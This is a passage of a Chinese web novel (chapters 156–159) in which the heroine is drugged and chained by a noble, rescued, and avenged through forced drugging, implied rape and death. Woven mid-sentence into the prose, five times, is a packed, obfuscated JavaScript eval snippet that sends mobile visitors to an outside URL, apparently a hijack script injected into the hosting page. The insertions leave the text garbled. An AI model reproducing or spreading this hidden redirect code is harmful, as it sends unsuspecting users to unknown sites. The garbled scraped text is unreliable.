“走吧。”叶绯霜也没凑过去和杜知府打招呼。 回城之后刚好是饭点,叶绯霜带着老仆和铜宝去万福居吃饭。 她让两人点了菜,还多要了一份芙蓉鹅脯,准备给小桃带回去,她特别爱吃。 菜上了。好说歹说,老仆和铜宝都不跟她一张桌子,叶绯霜只能自己一个人吃。 吃着吃着,叶绯霜觉得不对劲了。 起初她觉得有点头晕是因为昨晚没睡好,但眩晕感越来越重,她意识到是这饭菜不干净。 老仆和铜宝已经栽倒在桌面上了。 叶绯霜立刻摔了一个盘子,把碎片捏在手心,用疼痛保持理智。 她站起来向外走去,旁边几桌的人也站起来,拦住她。 这药性凶猛,叶绯霜很快就觉得天旋地转,紧接着就没了知觉。 —— 萧序没有在玉琅阁找到她的阿姐,阿夏说她去铺子里了。 他已经知道了阿姐最常去的铺子是哪几家,立刻马不停蹄地去找。 好巧不巧,在味馨坊遇见了一个圆脸少年。 彼时青岳嘴巴里还塞着几块 糕点,撑得腮帮子鼓鼓,像只小松鼠。 他一双眼睛瞪得溜圆,显然认出了萧序,这不是上元节刺杀他家公子的那贼首吗? 顿时,长剑出鞘,青岳二话不说就朝萧序刺来。 萧序轻飘飘地旋身躲过,没搭理他,只问阿夏:“我阿……霜霜姑娘呢? “我家姑娘今日没来。 萧序抿紧唇角,转身就往外走,去素锦。 青岳长剑转了个弯,还想再杀,却被一个身着葛衣的仆从拦住了。 青岳再次瞪大眼,这个人! 上次他的胳膊就是让这人伤的! 深知自己不是对方的对手,青岳立刻收了剑。 “好汉不吃眼前亏!他说,“等着我家公子来教训你们! 说罢,他直接开溜,还不忘提着自己买的点心。 萧序去了素锦,周娘子也说叶绯霜没来。 不过小桃在这里。 “萧公子,我家姑娘给二老爷上坟去啦!小桃说,“应该快回来了,你等一会儿吧,她会来这里接我。 “我不等。萧序说,“我要去找她。 小桃觉得很奇怪。这萧公子面露急色,一副很怕等的样子。 仿佛他因为这个“等字吃过大亏。 萧序前脚刚走,陈宴后脚就来了。 小桃把叶绯霜的行踪又说了一遍,但没说萧序。 陈宴也拒绝了她“等一会的提议。 小桃挠挠头:“这都急什么呀?我家姑娘是上坟去了,又不是上战场去了。 周娘子打趣她:“等你再大一点,有了心上人,你就明白了。 小桃翘着腿坐在椅子上:“我才不要什么心上人,我有我家姑娘就够了,我跟我家姑娘好一辈子。 周娘子问:“你家姑娘嫁了人呢? 小桃小手一挥:“我家姑娘不嫁人,她要招赘! “真的吗?门口传来一个声音,“那怪不得我师父要和陈宴退婚呢,陈宴不是当上门女婿的料。 小桃问宁衡:“世子,要不您也等一会儿? “不,我要去找我师父。我抓到猫头鹰了,熬鹰的人也找好了,我要带我师父去看! 小桃:“……那我也去 找姑娘吧,我可不能被他们比下去。” 陈宴在街上和杜知府打了个照面。 听他说要去找叶绯霜,杜知府疑惑:“我在山脚见着郑五姑娘了,按说她早就回来了啊。” 话音刚落,就见一人狂奔而来,哭丧着脸道:“杜大人,不好了,我们店的客人让人劫走了!” 杜知府认出了这人:“你不是万福居的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115880|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜吗?发生了何事?细细说来。” —— 叶绯霜醒来的时候,视线一片昏暗。 稍微一动,听见一阵“哗哗”声。 她一愣,更大幅度地动了动身子,果然哗哗声更大了。 床帐被人一把掀开,光线透进来,叶绯霜终于看清了固定在自己手腕、脚踝上的铁链。 她浑身骤然绷紧,瞳孔急剧放大。 宁浔站在床边,居高临下地看着她,得意地说:“我看你这次还能怎么反抗!” 金属的冰凉透过肌肤,钻进肌理内部、钻进骨头缝里,让叶绯霜不住地发起抖来。 “给我解开。”她说。 宁浔冷笑:“做梦呢?” “你给我解开!”叶绯霜突然大喊一声,“给我解开!不许拴着我!解开!” 宁浔被她的嘶吼震得后退了两步,接着,便见叶绯霜困兽似的,在床上挣扎起来。 铁链又粗又长,根本挣脱不开,反而因为她的剧烈挣扎发出接连不断的声响,清凌凌地震得人心头发麻。 叶绯霜失了平时的冷静和从容,她仿佛坠入了一个深深的梦魇里,变得暴怒、恐慌、惧怕。 她疯狂挣扎,手腕、脚踝都被磨出了血,她就和察觉不到似的。 宁浔上了床,掐住她的脸:“我说了,你挣不开,乖一点不好吗?” 叶绯霜死死瞪着他,宁浔都被她这个怨毒的眼神看得心头发慌,仿佛她在看什么不共戴天的仇人。 宁浔立刻拽过被子盖她的脸,开始解她的衣服,口中道:“你别想跑,本公子看上的就没跑得了的!” 外边忽然传来几声惨叫,紧接着,房门被人一脚踹开。 宁浔吓了一大跳,好不容易支棱起来一点的宝贝又软了。 他被疾步走来的陈宴一把扯到地上。 钥匙就在不远处的桌上,陈宴拿来,给叶绯霜解铁链。 掀开她的被子,他说:“好了,叶绯霜,没事……” 他的话没说完。 因为他被叶绯霜甩了一记耳光。 力道很大,陈宴的脸被打得偏了过去。 生平挨的第一个耳光,陈宴足足愣了好几晌。 他慢慢转过头来,看向她。 此刻,他觉得叶绯霜看向他的眼神很熟悉。 愤恨、怨毒、憎恶、**。 想起来了。 那次骂他“狗男女”的时候,她也是这么看着他的。 第156章 一条金链 周遭寂静无声,就连远处枝头鸟雀的扑棱声都清晰可闻。 刚刚迈进一条腿的青岳就那么愣在了门口,嘴巴张得可以塞下一个鹅蛋。 他家公子……被打了? 还是脸?! 刺目的指印逐渐浮现在陈宴脸上,看起来简直比见血的伤痕还要触目惊心。 毕竟刀剑只是伤皮肉,巴掌伤得可是尊严。 他黑沉的眼眸宛如锋利的刀刃,胸腔急剧起伏,仿佛怒火和**感正在里边激烈冲撞,下一秒就要冲破他的修养和克制。 叶绯霜眼中的迷茫尽退,惊惧尽消,恍若刚回过神来一般。 陈宴抬手,右手指背极其缓慢地扫过左侧被打的脸颊,眼睛依旧一眨不眨地盯着叶绯霜。 这样子活像他马上就要来剁她的手了,叶绯霜立刻把手背到身后。 陈宴的喉结轻轻滚动了一下,将翻涌的气血与震怒咽下去,才沉声说:“时隔几月,没想到再一见面,我会得到这个。” 叶绯霜绷紧唇角,并不想和陈宴说话。 要不是他,宁浔会屡次三番找她麻烦? 又想起他前世把自己当成那霏霏姑娘来折磨,就觉得他跟有病似的。 叶绯霜起身下床,陈宴拦住了她。 叶绯霜望向他:“怎么?你想打回来?” “我受了。”陈宴缓声说,“但我想问清楚,这一耳光,只是因为宁浔对不对?” 叶绯霜深吸一口气:“对,难道这还不够?三次了。第一次他认错人,第二次是在璐王府。陈宴,和你扯一块儿,我真是倒霉透了。” 前世今生都是,她这什么倒霉体质。 她是不是也该在院子外边摆个阵法,转转运什么的? 叶绯霜绕过陈宴跑到院中,遇见了小桃和宁衡。 宁浔已经溜了,宁衡说他立刻派人去找。 “对,找!”叶绯霜咬牙切齿,“我不阉了他,我就跟他姓!” 宁衡马上说:“师父,我们是国姓,你就算跟他姓也不吃亏!” 叶绯霜无语。 重点在这里吗? 回去的路上,叶绯霜遇见了杜知府。 杜知府询问万福居之事,她就把今天的遭遇给杜知府详细讲了一 遍。 她也没隐瞒自己是去祭拜二房的,杜知府不禁赞道:“郑四老爷和五姑娘都是性情中人。 叶绯霜也没报什么希望,杜知府知道了也不能拿宁浔怎么样。 回了玉琅阁,小桃给叶绯霜包扎手腕和脚踝上的伤口。 其实一点儿都不严重,就是她挣扎得太厉害,被铁链磨破皮了,流了点血。 但宁衡还是派了谭大夫来看她。 玉琅阁的药多的是,谭大夫也没额外再开。 中了**的身体还是有些疲乏,叶绯霜索性就躺下睡了,小桃去送谭大夫。 她问:“谭大夫,我家姑娘的脚是不是有毛病啊? 谭大夫说:“没有啊,五姑娘好好的,为何有此一问? 小桃两条黑黑的眉毛皱了起来:“我刚才给姑娘包扎好脚踝上的伤后,她就一直在摸那里。还有前年,就是她刚回郑府不久,她总是夜半惊醒,醒来后第一时间就要摸脚,我问她是不是脚疼,她说不是,可我感觉她就和练武落下了病根似的。 谭大夫一脸正色:“这样吗?那现在呢? “现在倒是不会了,姑娘很少惊梦了。 “可能因为小时候脚踝受过伤,心里有了些阴影。谭大夫说,“但现在,五姑娘的筋骨都好好的,是没有毛病的。 小桃松了口气:“这就好。 她回了房间,见叶绯霜已经睡着了。 小桃在香炉里点了安息香,忽然听见外边传来敲门声:“阿姐? 她刚把门打开一条缝,萧序就一阵风似的蹿了进来。 小桃忙道:“萧公子,我家姑娘歇下了! 萧序立刻放轻了步子,蹑手蹑脚地走过去,轻轻掀开床帐,生怕惊扰了睡梦中的人。 萧序蹲在床边,打量着叶绯霜,目光无比细致,仿佛在描摹她的每一缕发丝、每一寸肌肤。 看见叶绯霜手腕上系着的帕子,他瞳孔骤然一缩,用气音都掩饰不住的凌厉声调问小桃:“怎么弄的? 小桃把萧序带到外间,低声把叶绯霜的遭遇讲了一遍。 她愤愤道:“好几次了,一直想动我家姑娘。这个烂人,仗着自己是皇亲国戚,坏事干得可多了! 萧序眸光森 冷昳丽的眉眼显得有些阴晦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115881|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小桃叉着腰:“哼我家姑娘说了她一定要和他算账!” 萧序没说什么出了玉琅阁。 夕阳西下晚霞彤红如火像是在萧序眼中投了一丛烈焰。 “呵。”他忽然笑了“这种货色怎么配劳我阿姐动手?” —— 青岳小心翼翼地打量着陈宴。 他脸上的红痕已经散去了脸颊依旧白皙如玉。 可青岳还是感觉那五指印还存在于他家公子高贵的脸庞上。 青岳感觉出自家公子心情极差 陈宴坐在桌后盯着桌面上的铁链。 他也不知道为何要让青岳把这几条铁链拿回来。 铁链一端的环扣上还有血迹他抹了一下血迹已经干涸只在他指腹留下一点点朱砂似的碎屑。 他阴鸷地盯着这点殷红把青岳叫进来:“去找宁浔。” “找到之后呢?” 陈宴起身走向内室只留下轻飘飘的两个字: “杀了。” 这段时间怀瑜书院事情多他一直很忙每日睡得不足三个时辰。 有些疲累陈宴没有上床合衣躺在榻上准备休息一会儿就继续去整编那几本文集。 可是躺着躺着眼皮就逐渐变得沉重。 陈宴做了个梦。 在梦里锦风给了他一个盒子。 这个盒子很重稍微一动就能听见里边传来哗哗的响声。 他拿着盒子下一刻就到了叶绯霜面前。 他把盒子放在床上笑着问:“送你的礼物看看喜不喜欢?” 床上的叶绯霜翻了个身背对着他不和他说话。 他捏着她的肩膀强硬地把她扳过来。 “我精心为你准备的礼物很适合你不看看?” 他一只手捏着叶绯霜的下巴迫使她看向被自己打开的盒子。 盒子里是一条铁链。 不对不是铁链。 这条链子金黄明澈在烛光的照耀下闪闪发光。 映得叶绯霜灰败的脸都亮堂了几分。 于是孩童手腕那般粗的金链子一头拴在了墙上的铁钩里另外一头的金环啪嗒一声扣在了叶绯霜的脚踝上。 陈宴摸了摸她的长发温柔地说:“以后不许再跑了知道吗?你得在我身边陪着我哪里都不许去。” 第157章 恶有恶报 半夜醒来时,稍微一动,叶绯霜就感受到了脚踝上的一点刺痛。 她立刻坐起来,慌张地摸向脚踝。 是柔软的巾帕,不是冰冷的金链。 睡在她身侧的小桃也惊醒了,立刻跟着坐起来:“姑娘,你怎么了?哪里不舒服吗?” 她急忙拿了盏灯进来,“呀”了一声:“姑娘,你怎么哭了?” 叶绯霜抹了把脸:“没事,做了个噩梦。” “姑娘,你今儿被吓着了吧?” “嗯。” “可恶的七公子。”小桃愤愤,“赶紧来道雷劈死他吧!” “不是他。”叶绯霜说,“我没有被他吓到,我被链子吓到了。那些链子扣在我身上,拴着我,我连房间都出不去了,像条狗一样……不对,狗还被拴在院子里,能看见天呢。我什么都看不见,只有暗沉沉的屋子。” 小桃忙道:“已经没了,那些链子已经解开了,姑娘别怕。” “那条链子,最开始有三百一十个扣。我说错一句话,就减一个扣。做错一件事,再减一个扣。让他不高兴了,也减一个扣。最后就只剩下八十三个扣了,链子变得很短。最开始我还能走到窗边,然后是桌边,最后是床边,多一步都走不了了。” 小桃听得迷糊:“姑娘你在说什么呀?已经没有链子拴着你了。而且你这么厉害,什么链子都拴不住你的。” “刚说的是在话本子上看的一个故事,不讲了。”叶绯霜笑道,“睡吧,我不怕了。” 等小桃的呼吸平稳了,叶绯霜才继续说:“出不去屋子了,我就在墙上刻正字。过一天,刻一笔。从链子拴住我那一天开始,到链子摘下来那一天结束,我一共刻了两百零六个正字。” “桃儿,你说得对,我真的好厉害。我最后竟然只是病了,而不是疯了。” —— 荥阳城外有许多废旧的院子、破庙。 “砰”的一声,一个巨大的麻袋被扔到地上,溅起一片厚重的灰尘。 麻袋系口被解开,露出里边被五花大绑的人。 不是别人,正是宁浔。 只是此时他狼狈得厉害,衣服脏污凌乱,发冠歪歪斜斜,半数黑发披散下来,宛如疯子。 萧序做了一个手势 宁浔嘴里塞着的麻布被拿出来。 他立刻开始嚷嚷:“大胆刁民你知道本公子是谁吗?” 萧序回身居高临下地俯视着他漫不经心地说:“别说是你了哪怕换成你老子我也照收拾不误。” 宁浔被他话中的凶意惊到了气势瞬间泄了大半:“你敢对皇亲国戚动手形同谋逆!要诛九族!你……你是何人!” 萧序轻嗤:“问阎王去吧。” 宁浔惶恐地瞪大眼还想说话却被人掐住了脸。 他的嘴巴被迫大大张开 闻到熟悉的气味宁浔目眦尽裂被绑住的身体不断奋力挣扎在灰尘遍布的地面上留下一道道印子。 他怎会不知道那些药是什么? 被他抢到些姑娘、郎君有很多不配合的他就灌这样一瓶药下去再贞烈的人都会变得**无比。 此药药力凶猛有好几个只被他灌了一瓶就死在了床上。 而现在他竟然被一口气灌了好几瓶! 宁浔扣着喉咙想呕出来可是身体已经有了反应。 像是有一团火在他的四肢百骸流窜让他从内里到皮肉都烧了起来。 宁浔在地上不断翻滚喉间发出嘶哑的嚎叫冷汗淋漓。 他下体要**了可他还被绑着无法纾解。 萧序一抬下颌旁边的几个大汉粗鲁地解开了宁浔身上的绳子和衣服。 萧序又背过身去端详着被蛛网覆盖的菩萨像懒得看宁浔辣眼睛的样子。 一个大汉哈哈大笑:“这人的宝贝硬起不来啊怕是废了。” 萧序轻哂:“前边不中用不是还有后边?” 宁浔的神智已经快被折磨得消失了可他还是听见了这一句。 他发出不似人声的惊恐吼叫:“不……不行!” 一直都是他上别人他怎能当下边那个? 萧序出了破庙。 圆月高悬给漆黑的夜幕镀上了一层冷寂的荧白。 萧序仰望着月亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115882|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼倏然变得柔和下来露出一抹愉悦又乖巧的笑容。 “悬光。”他对着月亮说“阿姐说我是他的月所以给我取了这个表字。可阿姐才是我的月明月高悬谁也 不能染指。 不知过了多久,破庙里的人纷纷出来了。 “他**。 萧序打了个哈欠,不甚在意地说:“困了,回去睡觉。 又叹息一声,不怎么开心地说:“唉,一个人睡觉真没意思,真怀念以前…… 第二天,萧序来玉琅阁蹭饭。 不知道多少次了,郑涟和靳氏都习惯了。 他们觉得自家闺女真了不得,谁都能认识。 先是陈宴,又是璐王世子,现在连这位来郑府养病的贵客都能处得这么好。 刚吃完饭,小桃就慌里慌张地跑了进来,又有些掩饰不住的兴奋:“姑娘,听说晟王七公子**! 叶绯霜略微意外:“**的? “死在了青楼里。小桃压低声音,“听说七公子那话儿不中用了,他就吃了很多那种药,结果药性太烈,他没遭得住,爆体而亡。 小桃自小生活在鱼龙混杂的地方,那里的人骂起人来什么话不说?她羞耻心没那么重,反而还挺兴奋。 “我还听说,就因为前边不中用,他还被人走后门啦!啧啧啧,可药性还是没发散了。 萧序凑过来,眨巴着漂亮的眼睛,拿一种无比纯澈的目光看着叶绯霜,虚心请教:“阿姐,什么叫走后门呀? 叶绯霜不忘保持闺女少女的人设:“我也不知道。 小桃看看这个,又看看那个,不清楚他们是不是真的不知道,自己要不要给他们解释? 叶绯霜给了小桃一个“速速退下的眼神。 此时,阿夏来禀告说:“陈三公子来了,想见姑娘。 叶绯霜还没说话,便听萧序道:“让他滚! 阿夏道:“陈公子说有正事告知姑娘。前年,中秋夜,庇阳山。 看来是和璐王府有关的事情。 那叶绯霜还是要听一听的。 她说:“请他去花厅。 第158章 夫妻情趣 陈宴不太明白他的梦为什么总是这么令人震惊。 他竟然用一条金链子把叶绯霜拴住了。 难道他也像宁浔一样,想用链子强迫叶绯霜? 可又觉得不对。梦里,他们明显已经在一起了,还用得着强迫? 况且,他的性子,一不会强迫女人,二不重欲。 怎会如此? 陈宴百思不得其解。 这个时候,青岳进来添茶,腋下还夹着他的话本子。 青岳是真正的“文武全才”,生平两大爱好:练剑、看话本。 他的月俸基本都用来买话本子了。 见陈宴罕见地在发呆,青岳关切地问:“公子,怎么了?” 青岳是个伶俐人,而感情之事是陈宴的弱项,于是他不耻下问:“你说什么情况下,男人会用链子把女人拴起来?” “就今天您见到的那种情况啊。” “不是那种关系。”陈宴思忖一瞬,“他们是夫妻。” 顿时,青岳睁大眼睛、唇角上翘:“啊?” 不知为何,陈宴从这简单的一个字中听出十二分兴奋的意味。 青岳立刻盘腿坐上榻的另一端,明显来劲儿了:“别的呢?” “他们可能吵架了,妻子不是很想搭理丈夫。” 青岳更兴奋了:“然后丈夫就用链子把妻子拴住了?” 陈宴细致地描述让他困惑的梦境:“丈夫说,那根金链子是他送给妻子的礼物。还说有了这个,她就不会离开他了。” 青岳一拍大腿,铿锵有力地说:“这丈夫是个禽兽!” 陈宴:“……” 青岳摸着下巴:“这丈夫挺会玩啊,还用金链子,这叫什么?金链拴娇?啧啧,夫妻间的小情趣让他弄明白了。公子也是从话本里看到的?哪个话本子?我也看看!这种禽兽还是挺带劲儿的。” 陈宴面无表情地看着他:“有没有别的可能?那个丈夫没有这种癖好。” “嗐,有些人越是看着正经,实际上越不正经。”青岳老神在在,“不信公子你去问问花楼里的姑娘们,是不是那种看起来越像个人的玩得越花,人不可貌相啊!” 青岳越说越带劲:“有些人看起来清心寡欲的,其实好色得不行,背 地里什么都玩……当然,公子我不是在说你,你是真的清心寡欲。” 陈宴:“……” 他的表情变得有些一言难尽。 在前两个梦里,他有了两个妾。 在第三个梦里,他和自己的妻子玩起了情趣? 难道他其实很好色重欲?! 怎么可能! 陈宴觉得肯定是哪里出了问题,这不会是他的前世。 他怎么会是那样的人呢? 不对不对。 “除了……夫妻情趣,还有没有旁的可能?” 才高八斗的公子有朝一日会向自己请教,青岳可太激动了。 他倾囊相授,认真分析:“要么就是那妻子是丈夫抢来的,丈夫怕她跑了,才把她拴住。” 这更离谱了,有婚约在,名正言顺,抢什么抢。 “还有呢?” “没了啊,一般就这两种。”青岳道,“一个禽兽,一个强盗,看那个丈夫想当哪个。” 这都什么乱七八糟的,早知道不问了。 陈宴闭了闭眼,感觉头好痛。 花厅外传来一阵轻盈的脚步声,打断了陈宴的思绪。 他转头,见穿着银红色袄裙的叶绯霜走了进来。 想到那该死的梦境,还有该死的青岳胡说八道解的梦,陈宴垂下眼,有些无法直视叶绯霜。 叶绯霜开门见山:“你之前不是说,刺杀璐王的可能是晟王的人吗?现在确定了?还是有了别的线索?” “你记不记得我曾经给你讲过璐王的事,二十年前,他剿灭过幽山的山匪。” 叶绯霜点头:“记得,你还说山匪头目六岁的小儿子不知所踪了。” “对。今年上元节,郑府那个叫福泰的仆从不是从镖局雇了五个人想对你下手吗?那五个人,曾经就做过山匪。” “难道他们以前就是幽山的山匪?” “是,不过他们提前离开了寨子,躲过了后来那一劫。”陈宴继续道,“不光是他们,在寨子被剿灭前,有不少人陆陆续续离开了寨子,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115883|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以保命。 这五人这些年走南闯北地运镖,还真遇到了旧相识。那个旧相识说,当年就是他带着六岁的小少爷逃跑的,现在他和小少爷一起为晟王做事,问那五人是 否愿意加入他们。 那五人不愿再受制于人拒绝了但还是去博陵见了小少爷一面。” 叶绯霜听到这里懂了:“你也去见了那位小少爷对不对?” 陈宴笑了一下:“五姑娘很了解我。不错我去见了他——当然他现在已经不小了。” 他说他的确在晟王府做事但从未接到过刺杀璐王的任务他的同僚们也没有。他还说往事如烟他从未想过去找璐王复仇 “可你当初留下的那个活口的确指向了晟王府不是吗?”叶绯霜想了想“莫非是有人故意嫁祸给晟王的想挑拨晟王和璐王的关系?” 陈宴颔首:“的确存在这种可能。” 叶绯霜舒了口气:“牵扯到各路藩王这个中纠葛可就太多了不是我能想明白的了。” 前世她的信息就十分闭塞陈宴是她唯一的信息来源。 他给她讲了她才知道一二。他不讲她一概不知。 陈宴顿了片刻又说:“除此之外我还从那五人口中得知了另外一件很有意思的往事。” 他都说有意思了那可能是真的有意思。 叶绯霜身子不由自主地前倾:“说说看?” 陈宴却靠在椅背上不紧不慢地说:“作为交换五姑娘是不是也该告诉我些什么?” 预感和前世有关叶绯霜立刻起身准备走人:“我不想知道了你别说了。” “如果事关你二伯郑二老爷你也不想知道吗?” 果然叶绯霜的脚步生生顿住了。 她回头撞入陈宴自信又笃定的目光中。 陈宴扬唇一笑朝自己对面的圈椅指了指。 叶绯霜刚准备坐回去萧序就蹿了出来一把拽住了她。 “阿姐你少和他废话了。”他语气不善“你出去这里交给我我保证让他吐得一干二净。” 陈宴眸光一凝眉头微皱:“你怎么在这里?” 他稍微一想明白了:“原来来郑府养病的那人便是你啊。” 第159章 陪我睡觉 萧序扬起下颌,那股子矜傲的劲儿就出来了:“对啊,就是我,我就是为阿姐而来的。” 陈宴看向叶绯霜:“你便日日同他混在一起?” 萧序冷了脸:“姓陈的,注意你的言辞!” “我日日同谁在一起,和陈公子有何干系?”叶绯霜反问。 “我们的婚还没退完。” “那你也管不着我。” 叶绯霜真是烦透了这种有个婚约,自己好像就成了他的所有物,要被他管着的感觉。 面对陈宴,萧序的耐心明显差到了极点,二话不说就要动手。 他对陈宴的杀机从未消失过,反而越来越重。 叶绯霜拽住了他:“哎!” 萧序很委屈:“阿姐,你还要拦我吗?” 叶绯霜看着他苍白的脸色:“你这几天不是一直不舒服吗?别打了。” 被叫阿姐叫久了,她好像真的有点真情实感地代入这个角色了。 虽然她知道,能为他真阿姐报仇,萧序并不怎么在意他自己的身体。 但叶绯霜不希望他这样。 报仇可以,但也不要伤害自己。 生命多宝贵啊。 就像她,能报的仇尽快报,报不了的就徐徐图之,反正以后时间多得是。 她重活一世,又不全是为了报仇,她要享受人生的。 萧序很听叶绯霜的话,恶狠狠地瞪着陈宴:“赶紧把该说的说了,说完滚蛋,别和我阿姐弄那些有的没的。” “我说话时不喜欢闲杂人等在身侧。”陈宴慢条斯理地说,“这位公子,请你先滚。” 萧序才不会听他的,直接坐在叶绯霜身侧的椅子里,搭着腿,懒洋洋地睨着陈宴,颇为挑衅。 “你口口声声说我杀了你阿姐,你阿姐姓甚名谁?” 萧序冷嗤:“你受死就是了,问这么多废话做什么。” “我既然不认为自己杀过人,缘何白白受死?”陈宴冷眼寒声,“你若不说出个所以然来,我便认为你无事生非,心怀不轨。” “随便你怎么认为,本公子从不在乎你的想法。”萧序说,“只你记住,你这条狗命,我非要不可。” 陈宴轻哂:“你也得有这个本事。” “等着看便是。上次若非我阿姐,你还能坐在这里大放厥词?”萧序乐了,“陈宴,你记着,要是没我阿姐,你屁都不是,知道吗?” 陈宴岂会轻易被挑衅到,他面容沉静,神色舒朗,自动忽略萧序的胡言。 叶绯霜不得不承认,这一世的陈宴,和上一世差别真的很大。 单说性格,就差了许多。 上一世,陈宴总给她一种阴鸷沉郁的感觉,甚至有时候还很偏执冷戾,就挺吓人的。 难道是因为过早出仕,见识到了官场上的尔虞我诈?亦或是刑部呆久了,被那些案子给影响了心性? 她给他做外室时,他已经是刑部的郎官了。叶绯霜很遗憾地不太了解他出仕前的样子。 不知是否和这一世一样,很温润随和,脾气好得多。 陈宴不再搭理萧序,看向叶绯霜:“你确定不听?” 怎么可能不听,叶绯霜对萧序说:“你先出去吧。” 萧序眨巴眨巴眼睛:“二伯的事我也想听呀。” 听到这声“二伯”,陈宴舒朗的容色总算出现了一丝裂纹。 他冷嘲:“从未见过如此厚颜无耻之人。” 萧序翻了个白眼:“怎么,你羡慕啊?阿姐的二伯就是我二伯,阿姐的爹娘就是我爹娘,你永远够不着,知道吗?” “你父母生出你这样乱认爹娘的不孝子,真是家门不幸。” 见他们又吵了起来,叶绯霜轻轻推了推萧序。 “好吧,阿姐,那我听你的,我在外边等你。” 等萧序出去了,陈宴才说:“你不要和他混在一起,他来历不明,身份存疑,接近你很可能是别有用心。” “说我二伯的事。” “我不曾杀过他阿姐,我连他阿姐是谁都不知道。”陈宴别有深意地问,“或许你知道?” 叶绯霜清楚,他是在问前世之事。 陈宴就是这样的人,一旦让他起了疑,若非没有十足确切的证据,他不会轻易推翻自己的猜测,哪怕那个猜测很离奇。 “我不知道。” 她要是知道才有鬼了,她前世连萧序这个人都没见过。 陈宴沉默了。 叶绯霜问:“你想和我交换什么?” 陈宴 本想问一问梦境相关之事,但她不会说的,问了也是白问。 于是他说:“我想印证一下,我那些离奇的梦境和五姑娘有没有关系。” “怎么印证?”叶绯霜蹙眉,“我陪你睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115884|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉?” 虽然知道她说的“陪”就是单纯的陪伴之意,但是想到那条该死的情趣金链,陈宴就有些无语凝噎。 “对。”他说,“你陪我睡觉。” 当然,他说的也是单纯的陪。 叶绯霜深知,陈宴一旦开出条件,那基本就没有商量的余地。 她又实在好奇二伯的事。 心理斗争之后,她说:“可以。但什么时候睡、在哪儿睡、怎么睡,我来定。” 陈宴:“时间我定,其它随你。” 叶绯霜咬咬牙:“成交。” 她倒是要看看他能梦出个啥来。 陈宴道:“镖局那五个人讲,他们还在寨里时,组了一个小队,叫‘幽山六虎’,他们是前五虎,第六虎是他们中间最小的,加入时只有十一岁。” “他们就叫他小六。小六说自己家里遭了灾,走投无路了,才上寨子里觅条生路。小六是他们里边最聪明的,脑子很灵光,经常给他们出谋划策,哥几个感情很好。” “后来有一次喝多了,小六说漏了嘴,说他其实是荥阳郑氏的二少爷,在家里受了**,才逃出去的。” 叶绯霜一凛。爹爹说二伯是十岁夭折的,所以二伯其实没死,而是逃出了郑府,去了幽山落草为寇了? 她忙问:“然后呢?” “五虎没有拆穿小六的身份,权当不知道,六虎在寨子里过得很好。过了七八年吧,他们劫持了一行大户人家的车队。车队里有个小公子,差点**,是小六把他保下了。” “当时的六虎已经准备离开幽山了,对于去处他们产生了分歧。小六想送那位小公子进京,以后在京城扎根。五虎不喜欢京城,怕草寇身份暴露惹来杀身之祸,于是六虎就分道扬镳了。” “所以,我二伯带着那位小公子去了京城?” 陈宴颔首:“那位小公子本来就是要进京拜师的,要不是遇到匪寇,早就到了。” “那位小公子是何身份?” 陈宴笑了一下,没回答,继续讲:“几年后,五虎运镖的时候路过京城,见到了小六,那位小公子也已经长大,从姚太傅门下出师,又靠着家中荫庇做了官。小六在他府上做门客,二人兄弟相称,关系亲厚,前途一片大好。” 陈宴反过头来回答叶绯霜的问题:“那位公子姓杜,叫杜景才。” 叶绯霜眨了眨眼,十分意外:“杜知府?!” 